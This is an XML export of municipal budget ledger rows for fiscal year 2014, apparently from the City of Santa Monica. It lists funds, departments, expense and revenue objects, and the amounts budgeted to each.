<row _id="8094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10600.0</total></row>
<row _id="8095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>211261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>211261.0</total></row>
<row _id="8096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>123000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>123000.0</total></row>
<row _id="8097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="8099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555140.0</object><object_description>PEST CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="8100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-740.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-740.0</total></row>
<row _id="8101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15620.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15620.0</total></row>
<row _id="8102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41212.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41212.0</total></row>
<row _id="8103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>497636.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>497636.0</total></row>
<row _id="8104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>54500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54500.0</total></row>
<row _id="8105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13837.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13837.0</total></row>
<row _id="8106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>370.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>370.0</total></row>
<row _id="8107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5698.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5698.0</total></row>
<row _id="8108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>320501.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>320501.0</total></row>
<row _id="8109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16025.0</total></row>
<row _id="8110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8505.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8505.0</total></row>
<row _id="8111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400470.0</object><object_description>POLICE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400030.0</object><object_description>PROPERTY TAXES-CLRR-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-390000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-390000.0</total></row>
<row _id="8114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400843.0</object><object_description>VLF SWAP</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-8756739.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8756739.0</total></row>
<row _id="8115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-15035683.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15035683.0</total></row>
<row _id="8116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>406000.0</object><object_description>ESTIMATED USER FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="8118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="8119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2101.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2101.0</total></row>
<row _id="8120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404650.0</object><object_description>INTEREST-CIVIC PKG STR BONDS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="8121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
<row _id="8123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10649.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10649.0</total></row>
<row _id="8124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561114.0</object><object_description>OPCC DAYBREAK-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1900.0</total></row>
<row _id="8126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-DISBLD (SMARS)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="8127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-YOUTH</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51600.0</total></row>
<row _id="8128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-194419.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-194419.0</total></row>
<row _id="8129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="8130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>190.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>190.0</total></row>
<row _id="8131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="8132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>770640.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>770640.0</total></row>
<row _id="8133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>912.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>912.0</total></row>
<row _id="8134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="8135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="8136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13402.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13402.0</total></row>
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<row _id="8151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1860.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1860.0</total></row>
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<row _id="8153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408580.0</object><object_description>ALARM REGISTRATION FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-151200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-151200.0</total></row>
<row _id="8154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566480.0</object><object_description>ILLEGAL DISPOSAL ABATEMENT GRA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>398064.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>398064.0</total></row>
<row _id="8155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
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<row _id="8158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-19823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19823.0</total></row>
